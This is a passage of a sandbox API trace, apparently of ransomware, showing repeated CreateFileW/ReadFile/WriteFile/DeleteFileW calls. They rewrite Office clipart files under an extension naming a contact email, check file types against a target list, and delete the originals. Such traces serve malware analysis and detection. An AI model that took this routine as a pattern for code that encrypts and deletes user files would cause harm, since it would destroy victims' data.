nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.289] SetEndOfFile (hFile=0x51c) returned 1 [0166.524] CloseHandle (hObject=0x51c) returned 1 [0166.526] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.526] SetEndOfFile (hFile=0x53c) returned 1 [0166.529] CloseHandle (hObject=0x53c) returned 1 [0166.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.156] lstrlenW (lpString=".doc") returned 4 [0167.156] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.156] lstrlenW (lpString=".docx") returned 5 [0167.156] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0167.156] lstrlenW (lpString=".pdf") returned 4 [0167.156] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.156] lstrlenW (lpString=".xls") returned 4 [0167.156] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.156] lstrlenW (lpString=".xlsx") returned 5 [0167.156] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0167.156] lstrlenW (lpString=".ppt") returned 4 [0167.156] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.156] lstrlenW (lpString=".zip") returned 4 [0167.156] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.156] lstrlenW (lpString=".rar") returned 4 [0167.156] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.156] lstrlenW (lpString=".bz2") returned 4 [0167.156] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.156] lstrlenW (lpString=".7z") returned 3 [0167.156] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.156] lstrlenW (lpString=".dbf") returned 4 [0167.156] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.156] lstrlenW (lpString=".1cd") returned 4 [0167.157] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".jpg") returned 4 [0167.157] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".doc") returned 4 [0167.157] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.157] lstrlenW (lpString=".docx") returned 5 [0167.157] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0167.157] lstrlenW (lpString=".pdf") returned 4 [0167.157] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.157] lstrlenW (lpString=".xls") returned 4 [0167.157] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.157] lstrlenW (lpString=".xlsx") returned 5 [0167.157] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0167.157] lstrlenW (lpString=".ppt") returned 4 [0167.157] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".zip") returned 4 [0167.157] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.157] lstrlenW (lpString=".rar") returned 4 [0167.157] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.157] lstrlenW (lpString=".bz2") returned 4 [0167.157] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.157] lstrlenW (lpString=".7z") returned 3 [0167.157] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".dbf") returned 4 [0167.157] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".1cd") returned 4 [0167.157] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0167.157] lstrlenW (lpString=".jpg") returned 4 [0167.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.158] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.158] lstrlenW (lpString="J0099169.WMF") returned 12 [0167.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.158] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10192) returned 1 [0167.158] CloseHandle (hObject=0x4dc) returned 1 [0167.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0167.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.159] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.159] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.159] GetLastError () returned 0x0 [0167.160] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0167.161] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0167.162] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.163] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.163] SetEndOfFile (hFile=0x3ac) returned 1 [0167.163] CloseHandle (hObject=0x3ac) returned 1 [0167.163] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.163] SetEndOfFile (hFile=0x4dc) returned 1 [0167.165] CloseHandle (hObject=0x4dc) returned 1 [0167.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString=".doc") returned 4 [0167.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".docx") returned 5 [0167.167] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0167.167] lstrlenW (lpString=".pdf") returned 4 [0167.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".xls") returned 4 [0167.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.167] lstrlenW (lpString=".xlsx") returned 5 [0167.167] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0167.167] lstrlenW (lpString=".ppt") returned 4 [0167.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString=".zip") returned 4 [0167.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.167] lstrlenW (lpString=".rar") returned 4 [0167.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".bz2") returned 4 [0167.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".7z") returned 3 [0167.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString=".dbf") returned 4 [0167.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString=".1cd") returned 4 [0167.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.167] lstrlenW (lpString=".jpg") returned 4 [0167.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString=".doc") returned 4 [0167.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString=".docx") returned 5 [0167.168] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0167.168] lstrlenW (lpString=".pdf") returned 4 [0167.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString=".xls") returned 4 [0167.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.168] lstrlenW (lpString=".xlsx") returned 5 [0167.168] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0167.168] lstrlenW (lpString=".ppt") returned 4 [0167.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString=".zip") returned 4 [0167.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.168] lstrlenW (lpString=".rar") returned 4 [0167.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString=".bz2") returned 4 [0167.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString=".7z") returned 3 [0167.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString=".dbf") returned 4 [0167.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString=".1cd") returned 4 [0167.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0167.168] lstrlenW (lpString=".jpg") returned 4 [0167.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.169] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.169] lstrlenW (lpString="J0099170.WMF") returned 12 [0167.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.170] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=24292) returned 1 [0167.170] CloseHandle (hObject=0x4dc) returned 1 [0167.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0167.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.170] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.170] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.171] GetLastError () returned 0x0 [0167.171] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0167.209] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0167.210] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.210] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.210] SetEndOfFile (hFile=0x3ac) returned 1 [0167.241] CloseHandle (hObject=0x3ac) returned 1 [0167.241] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.241] SetEndOfFile (hFile=0x4dc) returned 1 [0167.244] CloseHandle (hObject=0x4dc) returned 1 [0167.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0167.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.246] lstrlenW (lpString=".doc") returned 4 [0167.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.246] lstrlenW (lpString=".docx") returned 5 [0167.246] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.246] lstrlenW (lpString=".pdf") returned 4 [0167.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.246] lstrlenW (lpString=".xls") returned 4 [0167.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.246] lstrlenW (lpString=".xlsx") returned 5 [0167.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.247] lstrlenW (lpString=".ppt") returned 4 [0167.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString=".zip") returned 4 [0167.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.247] lstrlenW (lpString=".rar") returned 4 [0167.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString=".bz2") returned 4 [0167.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString=".7z") returned 3 [0167.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString=".dbf") returned 4 [0167.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString=".1cd") returned 4 [0167.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString=".jpg") returned 4 [0167.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.247] lstrlenW (lpString=".doc") returned 4 [0167.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString=".docx") returned 5 [0167.247] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.247] lstrlenW (lpString=".pdf") returned 4 [0167.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString=".xls") returned 4 [0167.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.247] lstrlenW (lpString=".xlsx") returned 5 [0167.247] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.247] lstrlenW (lpString=".ppt") returned 4 [0167.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.248] lstrlenW (lpString=".zip") returned 4 [0167.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.248] lstrlenW (lpString=".rar") returned 4 [0167.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.248] lstrlenW (lpString=".bz2") returned 4 [0167.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.248] lstrlenW (lpString=".7z") returned 3 [0167.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.248] lstrlenW (lpString=".dbf") returned 4 [0167.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.248] lstrlenW (lpString=".1cd") returned 4 [0167.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0167.248] lstrlenW (lpString=".jpg") returned 4 [0167.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.248] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.248] lstrlenW (lpString="J0099174.WMF") returned 12 [0167.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.249] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6214) returned 1 [0167.249] CloseHandle (hObject=0x4dc) returned 1 [0167.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0167.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.249] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.249] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.250] GetLastError () returned 0x0 [0167.250] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1846, lpOverlapped=0x0) returned 1 [0167.266] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1850, lpOverlapped=0x0) returned 1 [0167.267] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.267] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.267] SetEndOfFile (hFile=0x3ac) returned 1 [0167.267] CloseHandle (hObject=0x3ac) returned 1 